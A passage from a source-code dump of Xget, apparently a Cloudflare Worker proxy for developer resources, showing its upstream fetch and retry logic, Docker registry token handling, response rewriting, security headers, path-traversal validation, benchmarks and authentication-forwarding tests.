const fullCachedResponse = await cache.match(fullContentKey);
if (fullCachedResponse) {
monitor.mark('cache_hit_full_content');
return fullCachedResponse;
}
} catch (cacheError) {
console.warn('Cache API unavailable:', cacheError);
}
return null;
}
================================================
FILE: src/upstream/fetch-upstream.js
================================================
import { configureAIHeaders } from '../protocols/ai.js';
import {
fetchToken,
getScopeFromUrl,
parseAuthenticate,
readRegistryTokenResponse,
responseUnauthorized
} from '../protocols/docker.js';
import { configureGitHeaders } from '../protocols/git.js';
import { configureHuggingFaceHeaders } from '../protocols/huggingface.js';
import { createErrorResponse } from '../utils/security.js';
const MEDIA_FILE_PATTERN =
/\.(mp4|avi|mkv|mov|wmv|flv|webm|mp3|wav|flac|aac|ogg|jpg|jpeg|png|gif|bmp|svg|pdf|zip|rar|7z|tar|gz|bz2|xz)$/i;
/**
* Creates upstream fetch options for the current request.
* @param {{
* authorization: string | null,
* canUseCache: boolean,
* config: import('../config/index.js').ApplicationConfig,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean,
* url: URL
* },
* shouldPassthroughRequest: boolean,
* targetUrl: string
* }} options
* @returns {{ fetchOptions: RequestInit, requestHeaders: Headers }} Fetch options and mutable headers.
*/
function createFetchOptions({
authorization,
canUseCache,
config,
request,
requestContext,
shouldPassthroughRequest,
targetUrl
}) {
const { isAI, isGit, isGitLFS, isHF, url } = requestContext;
/** @type {RequestInit} */
const fetchOptions = {
method: request.method,
headers: new Headers(),
redirect: 'follow'
};
if (request.body !== null && !canUseCache) {
fetchOptions.body = request.body;
}
const requestHeaders = /** @type {Headers} */ (fetchOptions.headers);
if (shouldPassthroughRequest) {
for (const [key, value] of request.headers.entries()) {
if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) {
requestHeaders.set(key, value);
}
}
if (isGit || isGitLFS) {
configureGitHeaders(requestHeaders, request, url, isGitLFS);
}
if (isAI) {
configureAIHeaders(requestHeaders, request);
}
if (isHF) {
configureHuggingFaceHeaders(requestHeaders, request);
}
return { fetchOptions, requestHeaders };
}
Object.assign(fetchOptions, {
cf: {
http3: true,
cacheTtl: config.CACHE_DURATION,
cacheEverything: true,
preconnect: true
}
});
requestHeaders.set('Accept-Encoding', 'gzip, deflate, br');
requestHeaders.set('Connection', 'keep-alive');
requestHeaders.set('User-Agent', 'Wget/1.21.3');
const origin = request.headers.get('Origin');
if (origin) {
requestHeaders.set('Origin', origin);
}
if (authorization) {
requestHeaders.set('Authorization', authorization);
}
const rangeHeader = request.headers.get('Range');
if (MEDIA_FILE_PATTERN.test(targetUrl) || rangeHeader) {
requestHeaders.set('Accept-Encoding', 'identity');
}
if (rangeHeader) {
requestHeaders.set('Range', rangeHeader);
}
return { fetchOptions, requestHeaders };
}
/**
* Follows a Docker redirect without forwarding credentials to the redirected host.
* @param {Response} response
* @param {string} targetUrl
* @param {RequestInit} finalFetchOptions
* @returns {Promise} Redirect-followed response, or the original response when no redirect is needed.
*/
async function followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions) {
if (
response.status !== 301 &&
response.status !== 302 &&
response.status !== 303 &&
response.status !== 307 &&
response.status !== 308
) {
return response;
}
const location = response.headers.get('Location');
if (!location) {
return response;
}
const redirectHeaders = new Headers(finalFetchOptions.headers);
redirectHeaders.delete('Authorization');
const redirectOptions = /** @type {RequestInit} */ ({
...finalFetchOptions,
headers: redirectHeaders,
redirect: 'follow'
});
return await fetch(new URL(location, targetUrl), redirectOptions);
}
/**
* Executes the upstream fetch, including HEAD fallback probing and Docker redirect handling.
* @param {{
* fetchOptions: RequestInit,
* request: Request,
* requestContext: {
* isDocker: boolean
* },
* requestHeaders: Headers,
* targetUrl: string
* }} options
* @returns {Promise} Upstream response.
*/
async function executeFetch({ fetchOptions, request, requestContext, requestHeaders, targetUrl }) {
const finalFetchOptions = /** @type {RequestInit} */ ({
...fetchOptions,
signal: /** @type {AbortSignal} */ (fetchOptions.signal)
});
if (requestContext.isDocker) {
finalFetchOptions.redirect = 'manual';
}
let response;
if (request.method === 'HEAD') {
response = await fetch(targetUrl, finalFetchOptions);
if (response.ok && !response.headers.get('Content-Length')) {
const rangeHeaders = new Headers(requestHeaders);
rangeHeaders.set('Range', 'bytes=0-0');
const rangeResponse = await fetch(targetUrl, {
...finalFetchOptions,
method: 'GET',
headers: rangeHeaders
});
let contentLength = null;
if (rangeResponse.status === 206) {
const contentRange = rangeResponse.headers.get('Content-Range');
if (contentRange) {
const match = contentRange.match(/bytes\s+\d+-\d+\/(\d+)/);
if (match) {
[, contentLength] = match;
}
}
} else if (rangeResponse.ok) {
contentLength = rangeResponse.headers.get('Content-Length');
}
if (contentLength) {
const headHeaders = new Headers(response.headers);
headHeaders.set('Content-Length', contentLength);
response = new Response(null, {
status: response.status,
statusText: response.statusText,
headers: headHeaders
});
}
}
} else {
response = await fetch(targetUrl, finalFetchOptions);
}
if (requestContext.isDocker) {
response = await followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions);
}
return response;
}
/**
* Retries a Docker request with an anonymous bearer token when the registry challenges first.
* @param {{
* effectivePath: string,
* platform: string,
* requestHeaders: Headers,
* requestContext: {
* isDocker: boolean,
* url: URL
* },
* response: Response,
* targetUrl: string,
* finalFetchOptions: RequestInit
* }} options
* @returns {Promise} Successful retried response, or a synthesized auth challenge response.
*/
async function retryDockerWithAnonymousToken({
effectivePath,
finalFetchOptions,
platform,
requestContext,
requestHeaders,
response,
targetUrl
}) {
const authenticateStr = response.headers.get('WWW-Authenticate');
const scope = getScopeFromUrl(requestContext.url, effectivePath, platform);
if (authenticateStr) {
try {
const wwwAuthenticate = parseAuthenticate(authenticateStr);
const tokenResponse = await fetchToken(wwwAuthenticate, scope || '', '');
if (tokenResponse.ok) {
const token = await readRegistryTokenResponse(tokenResponse);
if (token) {
const retryHeaders = new Headers(requestHeaders);
retryHeaders.set('Authorization', `Bearer ${token}`);
const retryOptions = /** @type {RequestInit} */ ({
...finalFetchOptions,
headers: retryHeaders,
redirect: 'manual'
});
let retryResponse = await fetch(targetUrl, retryOptions);
retryResponse = await followDockerRedirectIfNeeded(
retryResponse,
targetUrl,
retryOptions
);
if (retryResponse.ok) {
return retryResponse;
}
}
}
} catch (error) {
console.warn('Token fetch failed:', error);
}
}
return responseUnauthorized(requestContext.url, platform);
}
/**
* Fetches an upstream resource with retries and protocol-specific handling.
* @param {{
* authorization: string | null,
* canUseCache: boolean,
* config: import('../config/index.js').ApplicationConfig,
* effectivePath: string,
* monitor: import('../utils/performance.js').PerformanceMonitor,
* platform: string,
* request: Request,
* requestContext: {
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean,
* url: URL
* },
* shouldPassthroughRequest: boolean,
* targetUrl: string
* }} options
* @returns {Promise<{ response: Response, responseGeneratedLocally: boolean }>} Upstream or synthesized response.
*/
export async function fetchUpstreamResponse({
authorization,
canUseCache,
config,
effectivePath,
monitor,
platform,
request,
requestContext,
shouldPassthroughRequest,
targetUrl
}) {
let response;
let responseGeneratedLocally = false;
const { fetchOptions, requestHeaders } = createFetchOptions({
authorization,
canUseCache,
config,
request,
requestContext,
shouldPassthroughRequest,
targetUrl
});
let attempts = 0;
while (attempts < config.MAX_RETRIES) {
/** @type {ReturnType | undefined} */
let timeoutId;
try {
monitor.mark(`attempt_${attempts}`);
const controller = new AbortController();
timeoutId = setTimeout(() => controller.abort(), config.TIMEOUT_SECONDS * 1000);
fetchOptions.signal = controller.signal;
response = await executeFetch({
fetchOptions,
request,
requestContext,
requestHeaders,
targetUrl
});
if (response.ok || response.status === 206) {
monitor.mark('success');
break;
}
if (requestContext.isDocker && response.status === 401) {
monitor.mark('docker_auth_challenge');
response = await retryDockerWithAnonymousToken({
effectivePath,
finalFetchOptions: fetchOptions,
platform,
requestContext,
requestHeaders,
response,
targetUrl
});
if (response.ok) {
monitor.mark('success');
}
break;
}
if (response.status >= 400 && response.status < 500) {
monitor.mark('client_error');
break;
}
attempts++;
if (attempts < config.MAX_RETRIES) {
await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts));
}
} catch (error) {
attempts++;
if (error instanceof Error && error.name === 'AbortError') {
response = createErrorResponse('Request timeout', 408);
responseGeneratedLocally = true;
break;
}
if (attempts >= config.MAX_RETRIES) {
response = createErrorResponse('Upstream request failed', 502);
responseGeneratedLocally = true;
break;
}
await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts));
} finally {
if (timeoutId !== undefined) {
clearTimeout(timeoutId);
}
}
}
if (!response) {
response = createErrorResponse('No response received after all retry attempts', 500);
responseGeneratedLocally = true;
}
return { response, responseGeneratedLocally };
}
================================================
FILE: src/utils/performance.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Performance monitoring utilities for Xget
*/
import { addSecurityHeaders } from './security.js';
/**
* Monitors performance metrics during request processing.
*
* This class tracks timing information throughout request handling lifecycle,
* allowing measurement of cache hits, upstream fetch attempts, and total processing time.
*/
export class PerformanceMonitor {
/**
* Initializes a new performance monitor.
*
* Sets the start time to the current timestamp and creates an empty marks collection.
* All subsequent timing marks will be relative to this start time.
*/
constructor() {
this.startTime = Date.now();
this.marks = new Map();
}
/**
* Marks a timing point with the given name.
*
* Records the elapsed time (in milliseconds) since the monitor was created.
* If a mark with the same name already exists, logs a warning and overwrites it.
* @param {string} name - The name of the timing mark (e.g., 'cache_hit', 'attempt_0', 'success')
*/
mark(name) {
if (this.marks.has(name)) {
console.warn(`Mark with name ${name} already exists.`);
}
this.marks.set(name, Date.now() - this.startTime);
}
/**
* Returns all collected metrics as a plain object.
*
* Converts the internal Map of timing marks to a JavaScript object suitable for
* JSON serialization and inclusion in response headers.
* @returns {{ [key: string]: number }} Object containing name-timestamp pairs in milliseconds
*/
getMetrics() {
return Object.fromEntries(this.marks.entries());
}
}
/**
* Adds performance metrics to response headers.
*
* Creates a new response with an X-Performance-Metrics header containing
* timing data from the PerformanceMonitor instance. Also ensures security
* headers are included.
*
* **Note:** This header is only added to non-protocol responses (not Git/Docker/AI).
* @param {Response} response - The original response object
* @param {PerformanceMonitor} monitor - Performance monitor instance with collected metrics
* @returns {Response} New response with added performance and security headers
*/
export function addPerformanceHeaders(response, monitor) {
const headers = new Headers(response.headers);
headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics()));
addSecurityHeaders(headers);
return new Response(response.body, {
status: response.status,
headers
});
}
================================================
FILE: src/utils/rewrite.js
================================================
/**
* Xget - Platform-specific upstream response rewriting helpers.
*/
const FLATHUB_REPO_BASE_URL_PATTERN = /https:\/\/(?:dl\.)?flathub\.org\/repo\//g;
const FLATPAK_REFERENCE_FILE_PATTERN = /\.(flatpakrepo|flatpakref)$/i;
/**
* Checks whether a successful upstream response should be rewritten before returning it.
* @param {string} platform
* @param {string} requestPath
* @param {string} contentType
* @returns {boolean} True when the upstream response body should be rewritten.
*/
export function shouldRewriteTextResponse(platform, requestPath, contentType = '') {
if (platform === 'pypi') {
return contentType.includes('text/html');
}
if (platform === 'npm') {
return contentType.includes('application/json');
}
if (platform === 'flathub') {
return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath);
}
return false;
}
/**
* Checks whether a request path points to a Flatpak descriptor file.
* @param {string} requestPath
* @returns {boolean} True when the request targets a `.flatpakrepo` or `.flatpakref` file.
*/
export function isFlatpakReferenceFilePath(requestPath) {
return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath);
}
/**
* Rewrites upstream text responses so follow-up requests continue flowing through Xget.
* @param {string} platform
* @param {string} requestPath
* @param {string} originalText
* @param {string} origin
* @returns {string} Rewritten response text.
*/
export function rewriteTextResponse(platform, requestPath, originalText, origin) {
if (platform === 'pypi') {
return originalText.replace(/https:\/\/files\.pythonhosted\.org/g, `${origin}/pypi/files`);
}
if (platform === 'npm') {
return originalText.replace(/https:\/\/registry\.npmjs\.org\/([^/]+)/g, `${origin}/npm/$1`);
}
if (platform === 'flathub' && isFlatpakReferenceFilePath(requestPath)) {
return originalText.replace(FLATHUB_REPO_BASE_URL_PATTERN, `${origin}/flathub/repo/`);
}
return originalText;
}
================================================
FILE: src/utils/security.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Security utility functions for Xget
*/
/**
* Resolves the allowed CORS origin for the current request.
* @param {Request} request
* @param {import('../config/index.js').ApplicationConfig} config
* @returns {string | null} Allowed origin value for the response, or null if not allowed.
*/
export function resolveAllowedOrigin(request, config) {
const origin = request.headers.get('Origin');
if (!origin) {
return null;
}
const allowedOrigins = config.SECURITY.ALLOWED_ORIGINS;
if (allowedOrigins.includes('*')) {
return '*';
}
return allowedOrigins.includes(origin) ? origin : null;
}
/**
* Applies CORS headers to a response when the request origin is allowed.
* @param {Headers} headers
* @param {Request} request
* @param {import('../config/index.js').ApplicationConfig} config
* @returns {Headers} The same headers object with CORS headers applied when permitted.
*/
export function addCorsHeaders(headers, request, config) {
const allowedOrigin = resolveAllowedOrigin(request, config);
if (!allowedOrigin) {
return headers;
}
headers.set('Access-Control-Allow-Origin', allowedOrigin);
headers.set('Access-Control-Allow-Methods', config.SECURITY.ALLOWED_METHODS.join(', '));
const requestedHeaders = request.headers.get('Access-Control-Request-Headers');
if (requestedHeaders) {
headers.set('Access-Control-Allow-Headers', requestedHeaders);
}
const vary = new Set(
(headers.get('Vary') || '')
.split(',')
.map(value => value.trim())
.filter(Boolean)
);
vary.add('Origin');
headers.set('Vary', Array.from(vary).join(', '));
return headers;
}
/**
* Adds comprehensive security headers to response headers.
*
* applies industry-standard security headers including:
* - HSTS (HTTP Strict Transport Security)
* - X-Frame-Options (clickjacking protection)
* - X-XSS-Protection (XSS filter)
* - Referrer-Policy (referrer information control)
* - Content-Security-Policy (resource loading restrictions)
* - Permissions-Policy (privacy-invasive feature restrictions)
* @param {Headers} headers - Headers object to modify (mutates in place)
* @returns {Headers} Modified headers object (same reference)
*/
export function addSecurityHeaders(headers) {
headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
headers.set('X-Frame-Options', 'DENY');
headers.set('X-XSS-Protection', '1; mode=block');
headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'");
headers.set('Permissions-Policy', 'interest-cohort=()');
return headers;
}
/**
* Creates a standardized error response with security headers.
*
* Generates an HTTP error response with appropriate content type and security headers.
* Can return either plain text or detailed JSON error format.
* @param {string} message - Error message to display
* @param {number} status - HTTP status code (e.g., 400, 404, 500)
* @param {boolean} includeDetails - Whether to include detailed JSON error information
* @returns {Response} Error response with security headers
*/
export function createErrorResponse(message, status, includeDetails = false) {
const errorBody = includeDetails
? JSON.stringify({ error: message, status, timestamp: new Date().toISOString() })
: message;
return new Response(errorBody, {
status,
headers: addSecurityHeaders(
new Headers({
'Content-Type': includeDetails ? 'application/json' : 'text/plain'
})
)
});
}
================================================
FILE: src/utils/validation.js
================================================
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) 2025 Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*/
/**
* Request validation utilities for Xget
*/
import { CONFIG } from '../config/index.js';
// Imported protocol checks
import { isAIInferenceRequest } from '../protocols/ai.js';
import { isGitLFSRequest, isGitRequest } from '../protocols/git.js';
import { isHuggingFaceAPIRequest } from '../protocols/huggingface.js';
/**
* Computes protocol and request traits used across validation, routing, and response handling.
* @param {Request} request
* @param {URL} url
* @returns {{
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* }} Request traits for the current request.
*/
export function getRequestTraits(request, url) {
return {
isAI: isAIInferenceRequest(request, url),
isDocker: isDockerRequest(request, url),
isGit: isGitRequest(request, url),
isGitLFS: isGitLFSRequest(request, url),
isHF: isHuggingFaceAPIRequest(request, url)
};
}
/**
* Checks whether a request should use protocol passthrough behavior.
* @param {{
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* }} traits
* @returns {boolean} True when request handling should follow protocol passthrough rules.
*/
export function isProtocolRequest(traits) {
return traits.isGit || traits.isGitLFS || traits.isDocker || traits.isAI || traits.isHF;
}
/**
* Best-effort decode for security validation.
*
* URL.pathname may keep some reserved characters percent-encoded (e.g. %2F).
* We decode a couple of times to catch traversal attempts like %2e%2e%2f.
* @param {string} pathname
* @returns {{ok: true, value: string} | {ok: false}} Decoded path result
*/
function decodePathnameForValidation(pathname) {
let decoded = pathname;
for (let i = 0; i < 2; i++) {
if (!/%[0-9a-fA-F]{2}/.test(decoded)) {
break;
}
try {
decoded = decodeURIComponent(decoded);
} catch {
return { ok: false };
}
}
return { ok: true, value: decoded };
}
/**
* Detects directory traversal patterns in a URL path.
* @param {string} pathname
* @returns {boolean} True if traversal is detected
*/
function hasPathTraversal(pathname) {
const decodedResult = decodePathnameForValidation(pathname);
if (!decodedResult.ok) {
return true;
}
const decoded = decodedResult.value.replace(/\\/g, '/');
return /(^|\/)\.\.(\/|$)/.test(decoded);
}
/**
* Checks for ASCII control characters.
* @param {string} value
* @returns {boolean} True if ASCII control chars are present
*/
function hasAsciiControlChars(value) {
for (let i = 0; i < value.length; i++) {
const code = value.charCodeAt(i);
if (code <= 31 || code === 127) {
return true;
}
}
return false;
}
/**
* Detects if a request is a container registry operation (Docker/OCI).
*
* Identifies Docker and OCI registry requests by checking for:
* - Registry API endpoints (/v2/...)
* - Docker-specific User-Agent headers
* - Docker/OCI manifest Accept headers
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @returns {boolean} True if this is a container registry operation
*/
export function isDockerRequest(request, url) {
const { pathname } = url;
// Check for container registry API endpoints
if (pathname === '/v2' || pathname === '/v2/' || pathname.startsWith('/v2/')) {
return true;
}
if (pathname.startsWith('/cr/')) {
if (/^\/cr\/[^/]+\/v2(?:\/|$)/.test(pathname)) {
return true;
}
const userAgent = request.headers.get('User-Agent') || '';
if (userAgent.toLowerCase().includes('docker/')) {
return true;
}
const accept = request.headers.get('Accept') || '';
if (
accept.includes('application/vnd.docker.distribution.manifest') ||
accept.includes('application/vnd.oci.image.manifest') ||
accept.includes('application/vnd.docker.image.rootfs.diff.tar.gzip')
) {
return true;
}
const contentType = request.headers.get('Content-Type') || '';
if (
contentType.includes('application/vnd.docker.distribution.manifest') ||
contentType.includes('application/vnd.oci.image.manifest')
) {
return true;
}
}
return false;
}
// Re-export for standard usage
export { isAIInferenceRequest, isGitLFSRequest, isGitRequest, isHuggingFaceAPIRequest };
/**
* Computes the allowed methods for a request based on protocol detection.
* @param {Request} request
* @param {URL} url
* @param {import('../config/index.js').ApplicationConfig} config
* @returns {string[]} Allowed HTTP methods for this request shape.
*/
export function getAllowedMethods(request, url, config = CONFIG) {
const traits = getRequestTraits(request, url);
return isProtocolRequest(traits)
? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE']
: config.SECURITY.ALLOWED_METHODS;
}
/**
* Validates incoming requests against security rules.
*
* Performs security validation including:
* - HTTP method validation (with special allowances for protocol-specific operations)
* - URL path length limits
*
* Different protocols have different allowed methods:
* - Regular requests: GET, HEAD (configurable via SECURITY.ALLOWED_METHODS)
* - Git/LFS/Docker/AI/Hugging Face API: GET, HEAD, POST, PUT, PATCH, DELETE
* @param {Request} request - The incoming request object
* @param {URL} url - Parsed URL object
* @param {import('../config/index.js').ApplicationConfig} config - Configuration object
* @param {{
* isAI: boolean,
* isDocker: boolean,
* isGit: boolean,
* isGitLFS: boolean,
* isHF: boolean
* }} traits - Pre-computed request traits to avoid repeated protocol detection.
* @returns {{valid: boolean, error?: string, status?: number}} Validation result object
*/
export function validateRequest(
request,
url,
config = CONFIG,
traits = getRequestTraits(request, url)
) {
const allowedMethods = isProtocolRequest(traits)
? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE']
: config.SECURITY.ALLOWED_METHODS;
if (!allowedMethods.includes(request.method)) {
return { valid: false, error: 'Method not allowed', status: 405 };
}
if (url.pathname.length > config.SECURITY.MAX_PATH_LENGTH) {
return { valid: false, error: 'Path too long', status: 414 };
}
// Reject obvious traversal in the raw URL path (before URL normalization).
// Some runtimes normalize `..` segments when parsing URL.pathname.
const rawPathname = request.url.startsWith(url.origin)
? request.url.slice(url.origin.length).split('?')[0].split('#')[0].replace(/\\/g, '/')
: url.pathname;
if (/(^|\/)\.\.(\/|$)/.test(rawPathname)) {
return { valid: false, error: 'Invalid path', status: 400 };
}
// Reject control characters and directory traversal attempts.
// This protects both our routing logic and upstream requests.
if (hasAsciiControlChars(url.pathname)) {
return { valid: false, error: 'Invalid path', status: 400 };
}
if (hasPathTraversal(url.pathname)) {
return { valid: false, error: 'Invalid path', status: 400 };
}
return { valid: true };
}
================================================
FILE: test/benchmark/performance.bench.js
================================================
import { SELF } from 'cloudflare:test';
import { bench, describe } from 'vitest';
import { TEST_URLS } from '../helpers/test-utils.js';
describe('Performance Benchmarks', () => {
describe('Request Processing Speed', () => {
bench('Basic request handling', async () => {
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
});
bench('GitHub file request', async () => {
await SELF.fetch(TEST_URLS.github.file, {
method: 'HEAD'
});
});
bench('GitLab file request', async () => {
await SELF.fetch(TEST_URLS.gitlab.file, {
method: 'HEAD'
});
});
bench('Hugging Face model request', async () => {
await SELF.fetch(TEST_URLS.huggingface.model, {
method: 'HEAD'
});
});
bench('npm package request', async () => {
await SELF.fetch(TEST_URLS.npm.package, {
method: 'HEAD'
});
});
bench('PyPI package request', async () => {
await SELF.fetch(TEST_URLS.pypi.simple, {
method: 'HEAD'
});
});
bench('conda package request', async () => {
await SELF.fetch(TEST_URLS.conda.main, {
method: 'HEAD'
});
});
});
describe('Git Protocol Performance', () => {
bench('Git info/refs request', async () => {
await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
headers: {
'User-Agent': 'git/2.34.1'
}
});
});
bench('Git upload-pack request', async () => {
await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
method: 'POST',
headers: {
'User-Agent': 'git/2.34.1',
'Content-Type': 'application/x-git-upload-pack-request'
},
body: '0000'
});
});
});
describe('Security Header Processing', () => {
bench('Security headers addition', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Verify headers are present (this adds to processing time)
response.headers.get('Strict-Transport-Security');
response.headers.get('X-Frame-Options');
response.headers.get('X-XSS-Protection');
response.headers.get('Content-Security-Policy');
response.headers.get('Referrer-Policy');
});
});
describe('Error Handling Performance', () => {
bench('404 error handling', async () => {
await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt');
});
bench('400 error handling', async () => {
await SELF.fetch('https://example.com/invalid-platform/test');
});
bench('405 error handling', async () => {
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'DELETE'
});
});
});
describe('Concurrent Request Handling', () => {
bench('10 concurrent requests', async () => {
const requests = Array(10)
.fill(null)
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
bench('50 concurrent requests', async () => {
const requests = Array(50)
.fill(null)
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
});
describe('Path Processing Performance', () => {
bench('Short path processing', async () => {
await SELF.fetch('https://example.com/gh/a/b', {
method: 'HEAD'
});
});
bench('Medium path processing', async () => {
await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', {
method: 'HEAD'
});
});
bench('Long path processing', async () => {
const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
await SELF.fetch(`https://example.com${longPath}`, {
method: 'HEAD'
});
});
});
describe('URL Parsing Performance', () => {
bench('Simple URL parsing', async () => {
await SELF.fetch('https://example.com/gh/user/repo');
});
bench('URL with query parameters', async () => {
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src');
});
bench('URL with fragments', async () => {
await SELF.fetch('https://example.com/gh/user/repo/README.md#section');
});
bench('Complex URL parsing', async () => {
await SELF.fetch(
'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'
);
});
});
describe('Memory Usage Patterns', () => {
bench('Request object creation', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET',
headers: {
'User-Agent': 'Test/1.0',
Accept: '*/*'
}
});
// Process the request
await SELF.fetch(request);
});
bench('Response object processing', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Access various response properties
response.status;
response.statusText;
response.headers.get('Content-Type');
response.headers.get('X-Performance-Metrics');
});
});
describe('Platform-Specific Performance', () => {
bench('GitHub platform processing', async () => {
await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json');
});
bench('GitLab platform processing', async () => {
await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json');
});
bench('Hugging Face platform processing', async () => {
await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json');
});
bench('npm platform processing', async () => {
await SELF.fetch('https://example.com/npm/react');
});
bench('PyPI platform processing', async () => {
await SELF.fetch('https://example.com/pypi/simple/requests/');
});
bench('conda platform processing', async () => {
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
});
});
});
================================================
FILE: test/features/auth.test.js
================================================
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Authentication Header Forwarding', () => {
/** @type {{ match: ReturnType, put: ReturnType }} */
let cacheDefault;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', { default: cacheDefault });
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('forwards Authorization for authenticated file requests and disables caching', async () => {
const authToken = 'Bearer ghp_test_token_12345';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/private-repo/README.md', {
method: 'HEAD',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('forwards Authorization for Hugging Face API passthrough requests', async () => {
const authToken = 'Bearer hf_test_token_12345';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
const response = await worker.fetch(
new Request('https://example.com/hf/api/models/test-private-model', {
method: 'GET',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
});
it('forwards Authorization for authenticated PyPI index requests', async () => {
const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/html; charset=utf-8' }
})
);
const response = await worker.fetch(
new Request('https://example.com/pypi/simple/private-package/', {
method: 'HEAD',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('no-store');
});
it('forwards Authorization for gated Hugging Face model downloads', async () => {
const authToken = 'Bearer hf_authenticated_token';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
const response = await worker.fetch(
new Request('https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json', {
headers: {
